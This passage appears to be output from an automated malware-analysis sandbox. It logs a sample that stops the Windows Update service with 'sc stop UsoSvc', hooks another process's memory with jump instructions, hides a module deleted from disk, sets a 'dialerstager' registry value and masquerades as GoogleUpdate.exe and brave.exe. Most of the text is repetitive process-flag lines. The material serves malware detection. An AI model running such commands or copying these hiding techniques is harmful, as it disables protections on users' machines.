Process created: C:\Windows\System32\sc.exe sc stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\GoogleUpdate.exe	Memory written: PID: 5216 base: 1130005 value: E9 FB 99 FC 75
Source: C:\Windows\GoogleUpdate.exe	Memory written: PID: 5216 base: 770F9A00 value: E9 0A 66 03 8A

Found hidden mapped module (file has been removed from disk)

Source: C:\Users\user\AppData\Local\Google\brave.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\E552.TMP

Source: C:\Windows\System32\dialer.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node dialerstager

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
